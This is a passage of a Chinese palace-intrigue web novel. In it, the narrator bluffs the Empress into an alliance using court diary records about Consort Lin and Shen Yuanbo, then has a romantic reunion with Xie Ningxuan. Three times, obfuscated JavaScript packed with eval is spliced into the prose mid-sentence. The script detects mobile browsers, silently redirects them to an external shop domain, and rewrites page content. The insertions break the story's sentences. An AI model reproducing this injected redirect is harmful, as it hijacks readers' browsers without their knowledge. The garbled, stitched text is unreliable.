所以除了我昨日陈述的理由,凭此一点,太后座下,这宫城内另一位女主人,也必然也是他们的联盟。 那么,在太后闭关,且无论如何不能告知太后真相的情况下,该如何自救?——化敌为友,分化联盟呀。 昨晚,我带郡主去拜访、去求助的,自然就是联盟中最易动摇的部分,皇后了。 较之孟家和茹贵人对谢宁轩的敌意,撕破脸不顾自身也要复仇的恨意,皇后加入联盟的原因很简单,就是因为侄儿已经率先踏入孟府阵营,以谢宁轩之过错试图重归仕途(虽然我至今没理解陈尧昇的脑回路)。陈家已经得罪太后,为了挽回圣心,皇后只得伏小讨好。 但我,一个出身卑微,却能令谢宁轩侧目,甚至为之辩白的女子,太后是否也担忧过,谢宁轩对这女子生了情?不单单只是五年前开女捕快先河的奏本延续?此时无声无息处置了我,或许釜底抽薪,反而能在太后处博得青眼。 于皇后而言,这买卖赢面很大。 但皇后疏忽了一点,这卑微的小女子,手上也有着一张底牌。 “你就是王羽书?”上首的皇后微一凛神,声音清冷,“有些胆量。竟还主动来凤仪宫?你可知现在,本宫就能将你抓走,扣你个私闯内宫的罪名?” 我跪伏在地上,恭敬地说:“皇后娘娘乃一国之母,民女身份低贱,自不敢与娘娘相抗。今晚斗胆来访,实则是向娘娘告知一个秘密。” 我顿了顿,加重了发音,“一个足以毁掉陈家辛苦经营五年的秘密。” 郡主立在我的身侧,不安的挪了挪步子。 上首的皇后,更是默不作声。 一时间,偌大的宫殿只余我疯狂的心跳声,寂静化作一座山朝我压来。 我威胁了皇后。我真是活腻了。 “秘密?可笑。”皇后开口了,带着浓郁的嘲讽,“小小草民,也配提及皇家秘密?你可知你在和谁说话?来人……” “娘娘!等一下!您听义妹把话说完呀!”郡主慌忙阻止。 我亦胆寒,冷汗自脸颊低落。唯有强压着恐惧,我沉声道:“娘娘!民女要说的,正是五年前平反沈渊博一案,民女手头有些证据,恐能证实当日的平反有误。” 皇后又沉默了。 我匍匐在地上,甚至不敢抬起头来。 上位者的生杀大权,我不想挑战。可今天,我竟还是来送死了。 没办法了,事已至此,唯有一搏。 “皇后娘娘,您先别恼,我义妹所言非虚,的确是发现了些不得了的东西,特来向您禀告。”郡主向前一步,努力用轻快的语气化解此刻胶着凝重的氛围,“我们没去见圣上,甚至没有告诉太后!” “抬起头来,王羽书。”皇后没有理睬郡主,却对我道。 我听话的抬眼,正对上一双毫无温度的眼。 “果然是个美人胚子,难怪初来京城一年,就引得一向高傲的宁叙认你做义妹,还博得宗室世家公子欢心,为你多次违背祖制。本宫听闻,宁轩数月前已向圣上暗示,有意中人非她不娶。这说的,也是你吧?” 皇后竟然连这都知道!我四肢都僵硬了。 皇后声音突然拔高:“王羽书,你好大的胆子!竟敢妄议朝政,议论五年前圣上拍板定论了的平反大事!来人,给本宫把这个不知天高地厚……” “娘娘!”郡主又是一声惊呼。 我疾声道,努力压住声音中的颤抖:“二十八年前,沈渊博官拜巡城御史,正六品,依律在上朝时间外,无权入宫城。然起居注记载,沈渊博多次出入后宫,皆因其妹,彼时正值盛宠。娘娘,圣上养母,先帝琳妃,便是沈渊博的亲妹妹,对吗?” 起居注云,琳妃姓沈,还记得吗?当日我看到她的出身,巡城御史之妹。 巡城御史?这可是言官官阶。怎么这么巧合,当时朝中正有一个言官,也姓沈。 当时我尚未将二者姓氏联系在一起,毕竟这并不是一个罕见的姓氏。但随后在与太医院牛公公会面时,我发现他极不情愿提及先帝琳妃的事。 奇怪,以他的层级,不该知道圣上耿耿于怀养母之死,也不该知道太后反对调查。对他而言,突然一个宗室红人来问陈年旧事,怎么下意识就是闪躲退缩呢? 我意识到,先帝琳妃是个敏感词,不光在查案这一件事上。 而当朝圣上心中,也有一个逆鳞,就是五年前已被平反的沈渊博。高岭事变中,他是唯一拎出来平反的人。平反后,按理说这事儿就翻篇了,他的罪行消弭,朝廷给予补偿不说,名声也得恢复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14543584|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧?可之后,马前卒挑起平反的陈尧昇远离仕途,沈渊博还是众人不愿提及的话题。 为什么?圣上为什么还在介意? 包括我最早听闻这个故事时,就曾纳闷,圣上怎么就知道沈渊博有冤情?摧枯拉朽神速完成平反,怎么可能事先没有安排?他总得翻阅当年卷宗,查问当年证人,总有六部朝臣事先就知晓情况了吧? 那,查出来有冤,光明正大平反不就完了吗?为什么要用陈尧昇这颗棋子,在科举大事上挑起? 我想不通。 直到又一次去翻起居注时,我看到了先帝驾崩之后的各宫生活,也涉及了走在先帝之前的妃嫔入葬情况。 其中,没有琳妃。 先帝视角,这位宠妃是被废后毒杀,某种意义上也算代自己送死的。尸骨无存,也得有衣冠冢,享皇家祭祀呀。为什么没有她的入殓记载? 另外,琳妃诞下的多荣公主,常出现在她和珍妃的起居注中,的确符合谢宁轩所说,由母妃和闺蜜一道抚养长大,与圣上亲密无间。 但高岭事变后,多荣公主突然就从珍妃的起居注中消失了。我只在草草翻阅公主卷时,看到她的一些日常,记载寥寥。然圣上登基后,珍妃荣升太后,当日下达的懿旨之一又是,让多荣长公主住到慈宁宫来,亲自教养,并兼赏赐、封号加倍。 这些看似毫无关系的片段,在我的脑海中交织相融,像两股蕴含着力量的水柱,推着两个不搭嘎的“沈”字到空中,缓慢的拼凑在一起。 我这才看清,那是同一个“沈”。 琳妃为什么没有入皇家宗祠?多荣公主为什么在高岭事变后被刻意冷落,从养母身边带离,待遇江河日下?在宫中服侍了三十年的牛公公,为什么不愿提及琳妃? 恐怕皆与沈渊博逆案有关。 沈渊博当日祸及满门,本人凌迟,满门抄斩。如琳妃还活着,碍于她已是皇家人,就如今时今日的茹贵人,已归夫门,本不至于被波及。但娘家出事,谁又能没心没肺,一点不受影响? 但琳妃已经死了。所以她的起居注停了,宫中也没有任何针对她在这桩逆案中的记载。 然先帝依旧暴怒,迁怒了她亲生的多荣公主,后者才会从常陪伴母妃面见父皇的尊崇地位,降至记载都草率许多的边缘影子,直到父皇驾崩,养母才得以将她在接回去,还给她优渥的生活。 先帝厌恶的另一个表现就是,褫夺了琳妃被皇家宗祠祭祀、享皇家香火的待遇。若非祖制不允修改毁灭起居注,使得琳妃的日常保存了下来。否则今时,想要查清她的死因,更是难如登天。 在宫中小心谨慎服侍了三十年的牛公公,历经人心沉浮、时光洗礼,在听到年龄尚不足二十八的谢侍郎提及先帝琳妃,什么意图,什么目标,背后是什么人,精明如他,还能猜不透吗? 当然,这些事说来说去,都与琳妃之死没有直接关系。如若只是查案,我品出其中猫腻后,权当个八卦赏赏,便可作罢。 但于今天的局面,这误打误撞发现的小秘密,可就意义重大了。 我深吸一口气,强迫自己冷静下来,一字一句说着或可保命或将送命的陈词。 “琳妃的起居注中,时有见‘其兄探望’的记录。娘娘想必熟悉,这不合规矩。根据律例,沈渊博仅可在除夕夜宴中,向身为宫妃的妹妹请安。但他出现在后宫中的频率却不低,尤以康元二十年,发生高岭之变那一年为甚。” 皇后目光微变,出口仍是轻嗤:“那又如何?琳妃系先帝宠妃,先帝允准沈渊博出入后宫。” “那先帝是否知道,引沈渊博入宫的引路太监,于康元十八年被提拔为废后胡氏宫中的一等太监?而之后两年,他仍兢兢业业,为一个六品官持节引路。这些,圣上可又知道吗?” 我一字一顿的说完,心口提着一口气,紧张的手脚都在颤抖。郡主在我身侧,已如木头般僵立,盯着皇后,大气不敢喘。 上首端坐的皇后,就在我二人胆战心惊的凝视中,露出一芽沉静的笑,犹如月上枝头,清冷中透着矜贵。 “本宫果然小看了你,王羽书。圣上密旨调查琳妃之死,宁轩竟也告诉你了?” 159.条件 皇后知道,天哪,皇后竟然知道! 郡主张大了嘴,和我面面相觑。 皇后轻呼出口气,讽刺意味明显。“很奇怪吗?本宫是皇后,与圣上心意相通,知晓圣心圣意,难道不是本宫的职责?王羽书,你以为你掌握什么秘密,还要挟的了本宫?凭你私下调查先帝琳妃,本宫就可治你大不敬之罪!” “娘娘,义妹不是这个意思……”郡主急了,慌忙解释,却被我直接打断了。 我顾不得拭去鬓角的冷汗,跪直身子,强自道:“娘娘既知圣上密旨,当知圣上对此案执着,究其根本,在于先帝琳妃的养育之恩。这也是五年前,圣上乾纲独断硬要平反沈氏的原因。但若圣上发现,琳妃与沈渊博,真的参与了胡氏叛乱……皇后娘娘,您认为,圣上又待如何?” 五年前,沈渊博平反之所以能引发朝廷内外一片哗然,就因圣上真的没有提前翻阅卷宗档案,没有惊动朝廷官员。 那高岭之变那么多叛臣中,他怎么就敢确保沈渊博有冤? 起居注中,不乏有琳妃照顾皇五子——即当年圣上——以致自己累病的记录,而“其兄探望”也常出现。那进宫的沈渊博,顺便和妹妹的养子交流对话,想也不是难事。 也即,圣上之所以时隔二十多年,依然坚定的为沈渊博翻案,养母的情谊是一方面,更也在于,圣上相信舅舅的人品与心性,笃定他与逆案不可能有关,是不是? 又因高岭之变是先帝一朝的禁忌话题,先帝在位时严禁议论言说。后宫中,琳妃又死了。先帝刻意忽略,大臣避之不及,渐渐的,人们也忘却了二者的关系。这才使得五年前的平反,竟都没人发现其中关窍。 可圣上始终是心虚的。 从平反后,琳妃并未迁入皇家陵墓来看,圣上也知,如普罗大众皆知平反的真正动因,那即便平反中证据确实,沈氏的确清白,这桩平反,恐也会引发坊间议论,平白增添不少肖想。 “圣上对养母充满了母子之情,这是他愿意为沈渊博翻案的前提。但这一切,必须建立在沈氏一族,并未实际参与到高岭之变的基础上。如我们的调查,动摇了这个基石,皇后娘娘,您认为看过母妃被废后胡氏虐待针对的圣上,能咽下这口气吗?平反错了,违背了先帝旨意的大错,不是吗?” 我的话音是平稳的,甚至强硬有力。唯袖子中,被掐的出血的指尖,映衬出此刻的我有多害怕。上位者的生杀大权,我实在不想见识。 而上首的皇后,也将修剪得宜的指甲,扣在了凤座扶手上。 她被我说动了? 我冒出一丝丝期冀,皇后径直浇灭。 她冷脸道:“起居注是吧?看来,今晚宫中要走水了。” 走水?皇后竟想一把烧了内廷司档案室? 在郡主惊呼声中,我直视着皇后毫无波澜的双眸,任由脸颊汗珠滚落。 “娘娘既知民女担负进宫查案之责,难道会认为,民女在宫中查访这些日子,线索不曾外递?民女知道,谢侍郎近期与宫中的信件,已有细作窥探,但请娘娘细想,民女今日怎么就敢来凤仪宫不打自招?” 皇后静默数秒,嘴角露出一丝浅笑:“本宫就说,宁轩非池中之鱼,他赏识之人必也不是简单角色。要对付他和他的人,茹贵人之流,怕是不够格。呵,果然。这是露出马脚,被你看破了?” “娘娘睿智。” “你方才既说线索在起居注中,难道你偷了起居注外递出宫了?” 我撒谎的脸不红耳不赤:“民女自进宫,已核查诸多地方、诸多资料,如只有起居注寥寥数笔,民女怎敢凭此与娘娘谈条件?方才所言,只是发现之一。相信今晚走水,起居注哪怕全烧光,也无济于事。” 皇后凝目,复又看向郡主,尖锐的探究。 好在来之前我已特意叮嘱郡主,此时她也稳住了,颔首未语,并未闪躲。 皇后眯了眯眼,似在思索对策。 我趁机又道:“娘娘,五年前圣上挑选陈家作为先锋军,必是春风拂面,相谈甚欢的吧?陈尧昇知情,陈家知情,并在此事上交了投名状。但若圣上翻案的基石动摇,届时龙颜大怒,他是会责怪自己冲动,还是会将怒火发至执行的人身上呢?” 我曾问过郡主,白马书院案的死者孟秋堂也曾暗示过,陈尧昇知晓圣心,敢在殿试中语出惊人,是受了皇后的提示。郡主却说,翻案在先,立继后在后,我因果关系想错了。 但其实,“翻案在先,立继后在后”才是真正的因果关系,对吗? 陈尧昇去白马书院,是圣上刻意安排,为了降低平反旧案的热度。但陈家马前卒,不能没有任何好处,所以陈家的女儿登上后位,就是一个赤裸裸的奖赏。 当然,圣上扶立陈皇后,也是看在她没有儿子、外戚式微的份上,上位对东宫太子没有影响。 可对皇后而言,这宝座,难道不是空中楼阁?将来新君新朝,她的太后之位,能有现在这位悠闲放松? 而现在,圣上开始查琳妃之死了。她与沈渊博同出一门,兄妹接连身亡不过二月时间,更牵扯叛逆大案。如果查案中,出现了些不利证据,又坐实了沈渊博的罪行呢? 那么,五年前作为先锋军的陈家,难道不会受牵连?背后并无强大支撑的皇后,宝座可还能稳固? 我的言外之意清晰明了,皇后立即就接收到了。 “娘娘,民女今日斗胆来访,便是请娘娘为防止祸端,三思而行。” 皇后眯了眯眼,指甲扣在扶手上,留下浅浅的印记。 冷汗又开始冒了,犹如跪在雪地上,鸡皮疙瘩丛生。 “皇后娘娘,”漫长的沉默后,是郡主打破道,“我和义妹今晚来访,绝无恶意,请娘娘相信。” 皇后总算又开腔了,异样的平静。“王羽书,你确实有些头脑,难怪了。之前本宫听闻宁轩所言所为,就好奇,他从小到大不近女色,一朝情定,那钟情之人会是什么性情?看来他的眼光,还算不错。” 我隐约猜到了皇后接下来要说的话,索性大着胆子更进一步。 “娘娘谬赞。恕民女斗胆再向娘娘谏言,谢侍郎出身高贵,能力出众,向来为圣上与太后看重。此次被参违背祖制,扣上了不孝不忠的罪名,圣上却也压着迟迟未给说法。娘娘近些日子,在慈宁宫受了冷待了吧?陈家无辜,娘娘无辜,何必要与谢侍郎为敌,白白便宜了他人?” 郡主一听,忙加把柴:“是啊娘娘,圣上当年选立继后时,我御青王府也是支持了您的,包括太子殿下,都赞您贤德。茹贵人与孟家联手,明眼人都可看出,不过是针对刑案调查的报复行为。她李家势败,她报必死之决心。娘娘又何必牵扯进来?” 进殿这么久,皇后第一次露出些许软弱之色。 她轻声道:“本宫也是不得已而为之。” 我明白她的意思,马上就道:“陈尧昇选择孟府,或是一时乱了头脑。他在书院呆了五年,等圣上想起他,等圣上允他入仕途,实在等的痛苦,才会出此下策。但他的选择,没必要成为陈家的选择,娘娘的选择,不是吗?” 皇后未语,明显仍无法放下心结。 谢宁轩说过,陈家子嗣稀薄,到了这一代,佼佼者唯陈尧昇一个,这可能也是当日陈家不得不违背祖训,为陈尧昇铺路的原因。陈家或也想不到,圣上雪藏陈尧昇,竟持续了这么久。 现在亦是同理,陈尧昇已经迈出一步,皇后也唯有孤注一掷了。 但这真的就是唯一的选择吗? 郡主劝道:“娘娘既猜到了太后心意,觉得除掉义妹,太后或许会满意。怎得忘了,宁轩哥性情刚直,宁为玉碎不为瓦全?明日茹贵人行动,真的将义妹处置,待宫禁一开,宁轩哥能善罢甘休?还有哥哥,结拜时,他亲口在三皇五帝面前承诺,与义妹同生共死。可以说,明天出现的、隐于幕后的,但凡参与了的,就真的要和宁轩哥、哥哥为敌了。” 郡主向前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558346|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步,又加深了语气,“何况,明日的事,是做不到完全隐秘不外泄的。想要处置义妹,得先过阳远这一关。娘娘莫非,连阳远也要灭口了?” 皇后眉头皱起。 “或许孟府给您说过什么不切实际的承诺……阳远揣测,提到七皇子了吧?先帝是先帝,如今的东宫也不会是那元谪太子,七皇子即便在太后面前宠渥有佳,太后却也不会动摇国本。娘娘睿智,难道参不透圣上的心意?七皇子,真的有机会吗?”郡主顿了顿,语重心长,“娘娘,七皇子不会是靠山,更不可能为了区区孟府违拗圣上、与太子作对。” 关涉朝政,一向玩心甚重的郡主竟说出有理有据的长篇大论,看得出来,皇后也很吃惊。 “阳远,你……” 郡主浅笑,自腰间数个荷包玉佩中,卸下一个边缘泛黄、不太起眼的旧荷包,缓慢的翻着。 皇后不明所以,然视线落下,面色却是一变。 那是个以云锦织就的荷包,上绣精美的牡丹。 花中之王,宫廷中,一向仅有皇后有资格佩戴。郡主敢大咧咧带在身上的牡丹荷包,又是个旧的。谁绣谁送,还不明显吗? 郡主抬眼,直视皇后:“娘娘,您杀了义妹,即便现在太后满意,保住了您,但到最后,她老人家会站在谁的身后,您还看不明白吗?” 褪色的牡丹荷包,犹如最后一根稻草,果然令皇后做出了选择。 “嗬,阳远,本宫真是没想到,方才这席话,竟是从你嘴中说出的。看来认了一位义妹,你也收获不少。”皇后拂袖,端起茶杯吟了一口。 复又道,“本宫与陈家,只想稳固家族地位,上不愧祖先、下为后辈遮风挡雨,本也不愿搅进漩涡中,无端危害社稷。但尧昇此举……本宫也不能眼睁睁看他被人拖下水,不是吗?” 这是给我们台阶了? 我马上叩首,真诚的说:“娘娘不必忧心。谢侍郎非古板认死理之人,娘娘出手相救,他必定投桃报李,感激不尽。只要陈先生不再咄咄逼人,谢侍郎绝不会打击报复。将来入仕,都是同僚嘛。” “哥哥一样。”郡主也跟着拍胸脯,“娘娘愿意出手搭救义妹,那陈家就是我御青王府的朋友,没必要说过去的不是。陈尧昇入仕,哥哥提携,也不是不可以。” 后顾消除,承诺到位,宾主尽欢。 皇后露出了浅浅的笑容,应该是今晚,唯一一次真心的笑容了。 “好,既如此,本宫便准了你等今日所奏。但王羽书,本宫也有个要求。” 我轻舒出口气,然心跳依旧无法平复。“娘娘请吩咐,民女做到便是。” “你查琳妃的案子,本宫可以装作不知情。明日那秋水镇的小捕头,本宫也可以让他止步后宫,不去指证你……” 秋水镇的小捕头,这说的是……天哪,猩猩衙差? 啊!茹贵人他们竟然查到了秋水镇!那我和谢宁轩一道破获的医馆案、采花大盗案,他们也都知悉了? 糟了,郡主可给太后信誓旦旦承诺,我只参与了三桩案件的调查。这若传到太后耳中,恐不亚于欺君罪名啊! 我心中骇然,更庆幸此番没有向太后求助。 思绪万千,面上却未展露。那厢,皇后话语也未断:“……更能提早告诉你茹贵人的谋划,让你有个应对。但,接下来你查案的每项进展,事关沈渊博的条条桩桩,你必须先来给本宫汇报,结案陈词本宫也要比宁轩、宁叙,乃至圣上,先看到。” 她果然担忧了。 我就知道了,这才是命脉。 我当即俯首,毫无犹疑地应了下来。 这就是春分典礼前一晚,我们见到皇后的全过程。次日茹贵人挑衅,果如皇后事先告知的那样。而之后皇后依约而来,发落了茹贵人,也算暂时解除了危机。 至于皇后临走时那句箴言,只是提醒我信守承诺罢了。 除此外,这次面见皇后,还有一个意外之喜。 160.赏赐 次日一早,凤仪宫丫鬟来禀告,请郡主前去赏画。这是我们约定的暗号,代表皇后有要事相商。 贵妃虽觉得奇怪,但昨日事端郡主都语焉不详、一语带过,她便也知趣的没再追问。 到了凤仪宫,我依旧尽“丫鬟”本份,扶着郡主的手臂朝正殿走。熟料门口的姑姑却拦下了我,朝侧殿努了努嘴:“阿羽,皇后娘娘有赏赐,你去侧殿领吧。” “赏赐?”郡主疑惑,不安的瞥了我一眼。 我亦犹疑,搞不懂皇后葫芦里卖的什么药。 姑姑又道:“郡主这边请,娘娘和齐王妃在等您了。” “齐王妃来了?” 王妃来访,又刻意支开我……心猛地一跳,我霎时猜到侧殿中的“赏赐”,忙不迭行了礼,便朝侧殿跑去。 挑开厚重毡子,侧殿中,果然正有一人负手而立,端端轩昂。 四目相对,我只傻傻盯着他。 等思绪回转,我已经在谢宁轩怀中了。熟悉的味道与温度传来,一颗心总算稳稳落回胸膛。 “羽书,天哪,我总算见到你了。吓坏我了,真的吓坏了我。”谢宁轩执着我的手,上下不住的瞧,确认我好端端的,这才稍微松口气,“羽书,你没事就好。真是难为你了,可吓着了?” 鼻子一酸,这些天勉强稳固的心防堡垒轰然倒塌。我只有在他的怀中,才敢真正的放松。 “你呢,你怎么在这?我是想到今日你或许能找借口进宫一趟,却也没料到就在凤仪宫。现在咱们这样……” “没事,没事,羽书,有我在,什么也不要担心。”谢宁轩轻拭掉我眼角的泪珠,又将我拉入怀中,轻吻我的发顶,“皇后今晨派人来传,我听了你昨天的遭遇,真是胆战心惊。这才请母妃一道觐见,得以和你说些体己话。羽书,对不起,是我没护好你,让你受委屈了。” “王妃与皇后用膳,你却躲在侧殿,王妃不会奇怪吗?” “母妃已知我的心意。昨日父王回京,我已向二老如实禀告,父王答应不日便去你家提亲,我……” 我被他寥寥数语震撼,不由惊问:“你给王爷王妃说了?” “自然。”谢宁轩双手捧上我的脸,眼中是依依眷恋,“我说了,我要明媒正娶,八抬大轿娶你为妻呀。” “你……那王爷王妃,是什么反应?是不是,嗯,是不是生气了?” 谢宁轩眼中是栩栩情深,温声道:“怎么会?父王母妃敏锐,其实就有感知。何况父王早就承诺,在我的婚事上绝不多言,只要我心悦之人也在意我,他便允准,绝不因身份阶层而阻止。至于母妃,一向喜欢你,又怎会置喙。” 心中愉悦,羞赧飘上我的脸颊。好在灵台间尚有一丝理智,我轻嗔道:“哎呀,别说这些了,也不看看场合时间嘛。那个,那我爹也回京了?” 谢宁轩弯弯唇角,露出梨涡,如得了蜜罐的狡猾的狐,眼中俱是柔情蜜意。他刮了刮我的脸:“好,不说不说。等出宫,正式求娶你再说,好不好?但我母亲的镯子,你可愿带上了?” 我举起手腕,粉镯正晶莹剔透。 “羽书,你终于肯带上了!”谢宁轩眼眸乍亮,惊喜的叫道。 是啊,在春分危机后,我突然就意识到,它给予我的力量,早已超过了我的畏惧。 “好了,出宫再说这些嘛。”我闪躲开谢宁轩热情如火的气息,努力让自己停止遐想。“那个,你还没说清了,我爹回来了吗?” 谢宁轩悠悠一笑,也没迫我。他点点头:“嗯,令尊是回来了,且已知你协助我们进宫查案。我没有说旁的,但也看出他担心不已。羽书,今天就和我出宫吧。” “今天出宫?” 谢宁轩眼中浮现浓郁的自责与关怀:“不查了,今天就离宫,我带你走。” “别呀。”我摇了摇头,“我都开始查了,别半途而废。琳妃,真的是个不错的人,我也想搞清楚,她为什么会死。” “可你在宫里的每一天,我都提心吊胆。我真是后悔,不该送你进宫查案。” 心中很暖,我攀上他的肩膀,柔声道:“没事,现在有皇后可以依仗,宫中不再危险了,不是吗?” 谢宁轩眼中飘过阴鸷之色,他寒声道:“孟府、茹贵人,没有胆量和能力对我下手,竟想到对付我心爱之人,真可谓下作。还敢利用春分大典暗度陈仓……羽书,走吧,你不必管这个差事,这本也不是你的职责。” “可我已经查出了一些眉目,心中有隐隐的想法,就差一个能提起所有线头的引线了。再给我几日,我一定能查出真相。” 谢宁轩蹙眉。 “太后明日就出关,皇后也算同心同德,咱们之间的通信恢复,再不会有昨日危机,不是吗?谢宁轩,你相信我的能力,再容我几日,好吗?”我伸手按住他的肩膀,另一手则抚摸着他的额间,轻声道。 或许是动作太轻柔,或许是忧心放不下,或许是情之所至,谢宁轩未答,只神色迷离的盯着我,目光自睫下移,停留在我还想要张开的嘴唇上。 他吞掉了我的话,触碰着、研磨着,长舌驱入,直到剥夺我的呼吸。我亦忘情,沉浸到他的霸道与温柔中。拥抱愈紧,温度愈高,我们一时都忘了身处何处,胶着难分。 不知过了多久,在我呼吸力竭之时,他终于放开了我。 粘稠的眼神,缠绵的气息,每一处毛孔都叫嚣着,舍不得对方。 “羽书,”他抵住我的额头,声音绵软,“我好想你。你进宫这些日子,我恨不得天天闯后宫。可我不能,太后不招我一向懒得进宫,我怕我的突然转变,会给你招致怀疑。我想让三殿下来,也怕惹得太后上心。我好后悔,不该让你进宫了,日日煎熬,我好害怕。羽书,我好想你……你呢,你想不想我?” 我浅浅的点点头,又朝他红润的唇上啄了一口。 “我知道,我都知道的。我们的目标是共同的,不是吗?谢宁轩,我不想当你身后的女人,总是要你保护,要你庇佑。我也能帮你的。就让我帮你,好不好?” 谢宁轩神色渐渐清明,理智回归。虽然他还是定定的看着我,明显在与眷恋、不安搏斗着。 但我知道,他终是懂我的。 半晌,他败下阵来,无奈地说:“好吧,依你。可是羽书,一定要小心。你不能离开阳远身边,你知道吗?我好怕你有危险。我都安排了花房丫鬟每日到慈宁宫,确保你的安全,却也没料到,敌人这般行事。羽书,宫中不比外面,我真的担……” “我知道,我都懂的。昨日只是例外情况,不会再发生了。何况,我也想到办法应对了,不是吗?相信我。” 谢宁轩摸了摸我的头,眉头仍未舒展。 我不想让他多思,便转了话题,先说要紧。“对了,你身边有细作,窥探了我们的信件,你知道了吗?” 谢宁轩表情未变,只太阳穴,有青筋在鼓动。 “准确来说,不是我身边的人。但我的确也没料到,问题会出现在这儿。” 原来不止我在宫中惊心动魄,这两晚,谢宁轩也彻夜未睡。 自我在宫中被跟踪,我便去信请他调查孟秋帆行踪及孟府与陈尧昇的往来。因情势不明,我不想让他担忧,故去信中,我没有明说跟踪二字。 谢宁轩派人调查,没查出问题。他一面回信问我怎么回事,一面也忍不住犹疑不安。因此春分那日上午,他借着与羽林军协商例行赦免人犯的由头,去了趟羽林军帐。 宋璃已出发前往天坛,羽林军主事者,乃副将金权。正巧,孟秋帆当日轮休,也正在营地休息。 他和孟秋帆打了照面,甚至找事谈了几句,也未觉不妥。这期间,因着营地士兵操练,还不慎将他的衣衫刮破了。 “我就是在当晚,发现一直搁在怀中的信件,被人动过。”谢宁轩沉声道,“因为我一向在重要信件中夹的头发,不见了。那日,我唯有在羽林军营,换下了被刮破的官服,唯有那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14572521|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时点,侍奉我的小兵,能有机会偷看信件。嗬,我不放心信件,才将它们贴身带着,没想到,这反而给了宵小可趁之机。” 谢宁轩意识到了不对劲,却仍不清楚到底会发生什么事。 “我就如无头苍蝇乱转,一想到宫门下钥,就觉得不安,生怕你会出事。及至春分大典,我还让三殿下给我掩护,溜到前朝通往后宫的甬道,偷看到了你。” “你看到了我?”我惊诧地问。 “嗯,你跟在阳远身后,正往后宫回去。我远远瞧着你和阳远神色严肃,却在看到周边宫妃皆如此时,竟以为你们也只是依场合行事,还松了口气……”谢宁轩懊恼的捏一捏额间,“都怪我、怪我大意,差点误了你的性命。” “不怪你。”我连忙拉住他的手,“你又不能未卜先知,怎料到他们谋划。” 谢宁轩叹口气:“我还是太疏忽了。想到你的来信,我不放心,所以还是派人去天坛,讨了宋璃的手书,先调离了孟秋帆。” “调离?” “嗯,孟秋帆暂时被派遣出京了,短时间,他不会回到宫城内。至于那个人,我昨晚已经去见了。他,”谢宁轩垂睫,“他对我有怨气,我该知道的,我怎么就……哎。” 我没有追问“他”是谁、什么“怨气”,只也跟着深深叹息,在回忆中掠过那抹白色的身影。 沉默片刻,我还是问:“我在宫中,不会有危险了,对不对?但我骗了皇后,这是个隐患。” 说罢,我将进宫后的始末合盘告知,听得谢宁轩眉头越来越紧。末了,他问:“除了起居注,你提及其他证据了吗?” “没有。”我摇头,“我故意只说了起居注,皇后去查,就能看到白纸黑字,我并没有杜撰。当然,那远构不成附逆胡氏的罪名,我留白的部分,才能激起皇后的想象,以为我真的掌握了别的证据。” “羽书,诓骗皇后,你可真是胆大。”话虽这么说,谢宁轩眼中却是毫不掩饰的赞赏。 我搔搔头,也有些后怕:“当时情势下,我也没有别的法子了。我是想着,皇后五年前已是宫妃,居于深宫,她应该不清楚平反的细节,我才敢暗示她平反没经过认真的核查,完全是圣上一意孤行、情感用事。” “有勇有谋,羽书,你真的很厉害。” 我可不敢自得,不安的问:“可查下来,若沈渊博与逆案无关,便也罢了,皆大欢喜。若真是有猫腻,该怎么办?” 谢宁轩未答先问:“那你这些日子,可查出些端倪来?” 那倒还真没有。 持节引路的太监,的确系废后胡氏的亲信,但我故意省略了前情提要——此太监正因得罪胡氏,被贬去当引路太监。他引路的,远不止沈渊博一人。 这些内容,是我查遍宫人派遣、晋升、服侍记录才发现的,皇后一时半会掌握不了。即便找到了,也不能肯定我手头是否有其他证据,是否系故意歪曲。 我依仗的,就是信息的不对称,调查的时间差。 谢宁轩眼中闪过精光:“短短时间就想到对策,胆大心细,羽书,你真令我自豪。至于沈案,你也无须担心。若真有猫腻,我们就掌握了主动权。” “主动权?你该不会还想威胁皇后吧?可别真把她激怒了。” “当然不是,皇后乃一国之母,没必要和她为敌。”谢宁轩笑笑,“我想的是,如果旧案有猫腻,我们与皇后合作即可。圣上要的是琳妃之死的真相,找到凶手就是交代、就是完结。” “嗯?你的意思是不深究,就当没看到?” 仔细一想,似乎也只能这样。难道真的要重翻旧案,打圣上的脸? 而届时,我们与皇后互有把柄,相互掣肘。都是聪明人,都牵一发而动全身,想必无需多说,也自会保持缄默。 只是这样,是否有违一个刑狱官的职责了? 我正隐隐纠结,谢宁轩已话锋一转:“事实上,我认为,沈渊博的旧案,不会有问题的。” 161.愚蠢 “哦?”我有些惊讶,“你怎么敢确认?你不是说五年前因为主查云锦案,这逆案平反,你从头到尾都没参与过吗?” 